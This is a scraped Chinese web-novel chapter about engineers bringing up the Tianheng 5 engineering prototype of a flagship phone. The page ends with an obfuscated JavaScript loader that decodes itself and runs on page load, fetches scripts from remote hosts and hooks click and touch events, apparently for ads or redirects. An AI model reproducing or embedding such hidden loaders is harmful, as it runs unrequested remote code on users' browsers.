首页
第280章 天衡5工程机正式
返回
关灯 护眼:关 字号:小

第280章 天衡5工程机正式成型

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【顶点小说】
dingdian365.com,更新快,无弹窗!

    试制楼进入了一种罕见的「静」。
    不是事情变少了,也不是难题暂时停下,而是一切都被压到了最后那一步:并机。
    卫星链路拿到「二层接入成立」的资格之后,飞星这台机器终于走到了一个真正意义上的合体窗口。过去十天十夜里,所有战线都还能各自拿着自己的图纸丶自己的曲线丶自己的阶段性结果说话。卫星团队证明了自己不是会把整机拖死的闯入者,天衡5证明了它不只是在实验板上能活,还能在新生存链里释放出远低于国际同级的整机功耗,主板丶射频丶热丶装配和边界表达也都各自交出过阶段性答卷。
    可到了这一步,所有「单独成立」都要失效了。
    本书由??????????.??????全网首发
    因为工程机一旦正式成型,飞星就不再允许任何一条线只对自己的局部正确负责。它必须作为一台真正的整机,对「这些东西能不能一起活」给出答案。
    总控区主屏上的排期被切得极细。
    没有「本周」「明天」这种宽泛概念,只有小时级丶半小时级甚至十五分钟级的推进窗口。每一条路径后面都挂着责任人丶风险提示丶替代方案和一条被林薇加粗标记过的总规则:
    先定整机活性,再定终态表达。
    这句话挂在那里,像一根一直不允许大家忘记的钉子。
    因为越到工程机正式成型前夕,团队越容易重新滑回旧习惯:觉得自己已经足够接近成功,于是忍不住想把那些「再压一点边界」「再补一点连续感」「再多藏一点断裂」「再把功能开得更满一点」的冲动提前拿回来。可飞星一路打到这里,所有真正活下来的东西,恰恰都不是靠这种「临门一脚的贪」,而是靠一次次在关键节点上克制住自己,先把系统共同活下来的秩序建立起来。
    林薇在并机前的第一场总控会上,没有讲任何鼓劲的话。
    她只把三张图放到了最前面。
    第一张,是第一次整机上电失败时那条混乱到近乎丑陋的时间轴。
    第二张,是第二次点亮成功后,主控丶显示丶供电丶热丶边界回流终于第一次在同一台整机里共同喘匀气的生存链图。
    第三张,则是刚刚画完丶还带着大量铅笔修正痕迹的新总图——卫星链路丶天衡5丶新主板丶新边界语言丶装配中间态丶新热路径和重新后撤过的终端表达,被压进同一张图里,看上去不再像一个漂亮的产品蓝图,更像一张高复杂生命体的器官分布图。
    她站在屏幕前,目光扫过所有人,声音低而稳:
    「从现在开始,没有哪个团队再可以说『我这条线已经成立』。工程机正式成型,成立的单位只有整机。」
    没人出声。
    可每个人都知道,这句看似简单的话意味着什麽。
    意味着射频不能再只看自己的边界曲线,要看它在整机热丶主板主路径和卫星链路同时存在时,是不是还不闯祸。
    意味着晶片不能再只看天衡5在当前工况下够不够省,而要看它在卫星待机侦听丶异常场景唤醒丶本地AI推理和显示协同叠起来时,会不会重新露出那些曾经在实验板上不明显丶进整机后却致命的边缘问题。
    意味着装配和设备也不再只是「把图纸做出来」,而是要保证这台复杂到近乎失控的机器,在真实中间态里长出来的每一根骨头都没有被自己最后的动作悄悄拧歪。
    「工程机有三个判断标准。」林薇继续说,「第一,活性;第二,秩序;第三,表达。」
    「活性,是它能不能完整活过来。」
    「秩序,是它活过来以后,内部是不是靠正确的整机关系在活,而不是靠一堆补丁丶临时补偿和侥幸窗口撑着。」
    「表达,是它作为飞星,最终长出来的正面连续感丶边界语言丶隐性分区和极端场景连接能力,是否仍然属于同一种终端范式,而不是功能堆叠后的妥协物。」
    她说到这里,停了一下,语气更重了些:
    「这三条里,谁都别先抢第三条。」
    会议室里几个人下意识抬头,又很快沉了下去。
    因为这句话几乎是点名所有人。
    张伟和结构组近来一直在想,飞星既然已经重长出新骨架,是不是能把一部分被后撤过的连续感再往前拿回来一点。顾行和射频组也有类似冲动,他们不甘心卫星链路进来后,边界语言显得比最初理想方案更「朴素」,总想再做一点更漂亮的隐藏处理。就连系统组和AI组,也在悄悄讨论,小芯是否能在工程机成型后,把极端场景辅助语言做得更聪明丶更像真正未来终端的气质。
    这些想法都没错。
    可它们都太早了。
    林薇是在用最直接的方式,把整机从「将成未成时最危险的自恋」里往回拽。
    会议之后,所有战线立刻进入并机前最后的高强度收敛。
    主板房灯几乎没灭过。
    赵启带着团队把最终布图一遍遍放大到最细,检查每一条关键路径旁边有没有任何会在并机后被放大的隐患。他们现在已经不再习惯问「这条线路是否最优」,而是问「这条线路会不会在整机合体时和别的活路争命」。
    有个年轻工程师盯着一段刚刚改过的关键区域,轻声问:「要不要再往里压一点?这样能给边界再让出半毫米。」
    赵启连头都没抬:「飞星要是死在那半毫米上,你来给它负责?」
    那工程师不敢再说话。
    几秒后,赵启才补了一句:
    「工程机成型前,最值钱的不是半毫米,是别把系统重新逼回赌命状态。」
    射频仿真室则像一个没有昼夜的深井。
    顾行和江衡几乎把自己锁在里面,反覆跑新边界语言在真实握持丶局部遮挡丶卫星极端场景侦听与普通通信共存下的表现。他们现在已经不再追求「每条曲线都漂亮」,而是更在意有没有哪一处看起来只是轻微波动,实际上却意味着边界秩序再次开始互相踩踏。
    江衡看着一组新仿真图,嗓子哑得厉害:「这组曲线不好看。」
    顾行靠在椅背上,盯着看了半天,反而点了点头:「不好看是好事。」
    「什麽意思?」
    「意思是它开始像真的了。」顾行声音很低,「飞星现在要的不是一组在实验室里像艺术品的曲线,而是一台到了用户手里丶握住丶走动丶切换场景丶进入极端环境以后还不翻脸的机器。」
    江衡沉默了几秒,忽然笑了一下,笑意很淡:「飞星快把我们都改造了。」
    「不是快。」顾行说,「是已经开始了。」
    晶片平台实验楼那边也一样。
    章宸没有再把团队压在单纯的「再省一点丶再快一点」上,而是让所有人围着一个问题转:工程机成型之后,天衡5到底是在一个更大的生命体里被释放,还是会因为整机复杂度进一步上升,再次暴露出那些被暂时压住的边界脆性?
    顾楠盯着一组新跑出来的多场景联合调度日志,眉头一直没松开。
    「卫星待机侦听接进来以后,本地AI轻推理和显示协同这边的瞬态还是会轻轻顶一下。」他说。
    章宸走过去看了很久,问:「会顶死吗?」
    「不会。」顾楠答,「但它会提醒我们,这套秩序还远没到可以自满的时候。」
    章宸点了点头:「那就记下来,别急着修漂亮。工程机先成型,后面再问有没有必要把这一下也消掉。」
    顾楠有些意外地看了他一眼。
    因为放在过去,章宸这种架构型人最容易在临门阶段对「多馀的一下」不耐烦,总想把图调得更规整丶更像教科书。可现在他竟然开始主动克制这种冲动。
    章宸察觉到他的目光,只淡淡说了一句:
    「飞星现在不缺一个更漂亮的局部,缺的是别让整机为了一个局部再掉回旧坑里。」
    应急通信组则在做最后的用户侧逻辑压缩。
    韩卓最初最不适应的,不是硬体让位,也不是链路能力被砍得那麽薄,而是产品语言被要求变得近乎克制。以他的工程师直觉,既然好不容易把卫星链路塞进来了,就该让用户明白它有多厉害丶多特殊丶多值得被强调。可赵静和终端体验组一次次把这种表达欲按了回去。
    「真正会用到它的人,不会在乎它多炫。」赵静盯着那套极端场景辅助提示界面,「用户要的是确定,不是震撼。」
    于是,小芯在卫星场景下的语言被反覆重写,从「高级」「聪明」「未来感」一点点退成更短丶更稳丶更不制造额外认知压力的存在。
    不是为了让它显得普通,而是为了让这条链路在最坏时候真正像一根能抓住的线,而不是一段让人更紧张的技术展示。
    第五天傍晚,飞星第一批接近终态的关键部件开始进入同一条并机线。
    这不是普通意义上的装配线,而是被临时改造成战时状态的整机生长区。每一个工位都挂着问题图,每一段装配动作后面都连着中间态确认丶热路径检查丶边界应力状态和局部信号完整性验证。
    赵川站在机械臂控制台前,眼睛里全是红血丝。
    这条线前前后后已经被他们改过不知道多少次。最早是为了模组形变记忆,后来是为了零缝隙与连续感,再后来是为了卫星链路接入后的新主板与新热路径。飞星这台机器好像从来就不肯让任何一条工艺顺顺利利地变成「成熟流程」,而是每次快稳定的时候,就逼着设备和制造体系再长一层新能力。
    张京京站在他旁边,看着屏幕上那组新的中间态确认曲线,忽然说:「你发现没有?」
    「什麽?」
    「飞星现在已经不像一台产品在被制造了。」
    赵川愣了一下,随即低头看着那一串串中间态数据丶应力变化和路径确认标记,慢慢听懂了。
    它确实不像传统意义上的造一台机器。
    更像是在用装配动作,一步步把一套整机生命秩序固定进物理现实里。
    晚八点,第一台接近完整终态的天衡5工程机,终于被放上了总控区最中央那张联调台。
    它还没有外部公开意义上的「完全定型」。
    可只要看过飞星一路怎麽打过来的人,都会在第一眼里感受到一种非常强烈的异样——它已经不再像之前那些「强烈未来感却带着工程试验痕迹」的样机,而像一台真正开始具备成品气质的设备。
    边界极薄。
    正面连续感重新长回来了,但不再是那种靠死压空间丶逼系统全体缩脖子换来的「漂亮」,而是一种贴着生存链和边界语言自然生长出来的克制。
    隐性分区没有消失,只是从最初那种有些锋利的技术炫耀,变成了更内敛丶更像整机本来就该如此的存在。
    卫星链路的痕迹被藏得很深,却不是靠掩耳盗铃式的完全遮盖,而是通过新的边界秩序,让它像一条本就属于飞星身体里的第二层神经。
    最重要的是,这台工程机不再给人「好像随时会因为太激进而断掉」的感觉。
    它第一次显出一种很难言说的完整性。
    张伟站在旁边,看了很久都没说话。
    直到林薇走到联调台前,他才低声问了一句:「这次像不像?」
    林薇没有立刻回答。
    她看着那台机器,目光从正面丶边界丶主板投影区丶局部结构语言一直移到它在台面上的整体气质,过了几秒才说:
    「像开始长成它自己了。」
    这句话一落,周围几个人都沉默了一瞬。
    因为他们都知道,林薇这种人很少会用这种近乎主观的话来描述工程结果。她肯说「像开始长成它自己了」,说明飞星这次并机,至少已经走出了那种「各条线勉强捏成一个答案」的阶段。
    可没人因此放松。
    因为真正的审判,还在后面。
    晚上九点半,工程机正式成型后的第一轮完整联调开始。
    和此前任何一次不同,这次联调不再只是为「能不能亮」负责,而是为「作为一台接近真实终态的机器,它是不是已经具备整机秩序」负责。
    检查项被压缩得很短。
    不是因为事情少,而是因为所有人都知道,决定命运的不会是多一条少一条表格,而是整机会不会在最关键的几个动作上,再次暴露出彼此互相争命的底色。
    主控释放。
    显示建立。
    关键供电切换。
    卫星二层侦听待机。
    边界回流避冲。
    热起始区建立。
    本地AI轻推理后台驻留。
    所有关键路径开始同步呼吸。
    顾楠站在主控台前,手放在确认键上,却没有立刻按下。他转头看向章宸丶赵静丶顾行丶张京京和林薇。
    没有人说「开始」。
    林薇只抬起手,轻轻向下压了一下。
    顾楠按下确认键。
    联调区里,所有人的呼吸几乎同时放轻。
    一秒。
    两秒。
    三秒。
    功耗曲线平稳抬升。
    显示总成握手顺利。
    主控域释放正常。
    关键供电切换没有踩进旧死亡窗口。
    四秒。
    五秒。
    卫星二层侦听没有乱插嘴。
    边界回流状态稳定。
    热起始区没有形成新的异常升温带。
    六秒。
    七秒。
    本地AI轻推理进入后台驻留。
    接口训练完成。
    系统日志持续滚动,没有出现任何保护性挂起。
    第八秒时,工程机屏幕亮起。
    不是工程机阶段那种「能亮就算赢」的粗粝引导页,而是一套接近正式终端的内部界面语言,安静丶克制丶顺滑地出现在那块被重新组织过生命秩序的屏幕上。
    那一刻,联调区里竟没有人立刻说话。
    因为这次点亮带来的冲击,和之前所有节点都不一样。
    不是「终于活过来」。
    不是「又一次跨过去」。
    而是某种更深丶更沉的确认——飞星不是在被一群人用意志硬顶成一台机器,它是真的开始具备一台完整终端该有的内在秩序了。
    顾行盯着边界监测屏,几秒后,慢慢吐出一口气:「射频没翻脸。」
    赵启看着主板状态日志:「主路径没乱。」
    赵静看向小芯的异常关联窗口,那上面几块高风险区都安静得像被削平了一层,她低声说:「系统在按同一张图说话。」
    章宸没有立刻表态。
    他一直盯着功耗曲线和联合调度日志。又过了十几秒,才缓缓说道:「天衡5不是在撑它,是在被它完整释放。」
    这句话一落,顾楠眼眶都微微热了一下。
    因为他知道,章宸这句话里真正的分量,远不是「晶片工作正常」那麽简单。它意味着,飞星这台工程机第一次真正证明了:整机生命体丶统一算力架构和天衡5这颗晶片,不是彼此妥协后的凑合关系,而是同一套秩序里的相互成全。
    陈醒一直站在联调区外侧。
    从第一秒到现在,他没有说一句话。
    直到工程机稳定运行超过一分钟,卫星二层侦听丶本地AI后台驻留丶显示和主控协同丶边界丶热和供电都仍然没有出现任何会让人心口发紧的反常,他才缓缓走近一点,看着联调台上的那台机器。
    这一次,他也没有问「能不能再跑一轮」。
    而是问了一句更本质的话:
    「它现在像什麽?」
    没有人立刻回答。
    因为这个问题,已经不是在问参数,不是在问指标,而是在问飞星终于开始具备的那种难以量化丶却极其决定命运的东西——它到底像不像一台真正属于这个时代之后的终端。
    最后,是林薇回答了他。
    她看着联调台上那台机器,声音不高,却清晰得像一把刀把所有杂音切掉:
    「像一台不是靠堆料和补丁活着的机器。」
    她顿了一下,又补上一句:
    「像一台按自己的整机逻辑长出来的终端。」
    这句话,比任何成功宣告都更重。
    因为飞星从一开始争的,就不是「做出领先参数」,也不是「做出更强高端机」,而是想知道:一台真正为AI时代设计的旗舰终端,能不能以一种和旧时代完全不同的方式出生。
    而此刻,答案第一次开始具象。
    联调区外,所有人都还沉在一种近乎失真的安静里。
    可周明已经先一步恢复到了最冷静的状态。
    他看了一眼终端上的内部加密频道,眉头忽然轻轻一皱。
    不是因为飞星出事。
    而是国际事务与合规监测那条一级通道,刚刚跳出了一条异常预警。
    他没有立刻说话,只把那条信息迅速展开,扫了一眼,神色便一点点沉了下去。
    不是普通媒体异动,不是产业观察,也不是规则战叙事层面那种需要几天才能发酵的变化。
    而是一条更直接丶更锋利的产业限制信号。
    他抬起头,看向还站在联调台边的陈醒,语气低得几乎不带情绪:
    「外面可能要变天了。」
    陈醒转头看向他。
    周明没有在这个场合直接把内容念出来,只是把终端递了过去。
    陈醒看了一眼,眼神也在瞬间沉了下来。
    那不是针对飞星单一项目的消息。
    而是一把更长丶更深丶会直接插进整个高端晶片与设计工具链条里的刀。
    联调台上,天衡5工程机还在安静运行。
    屏幕光很稳,边界光影克制得近乎冷静,像一台刚刚证明自己真的开始活成某种新终端形态的机器。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();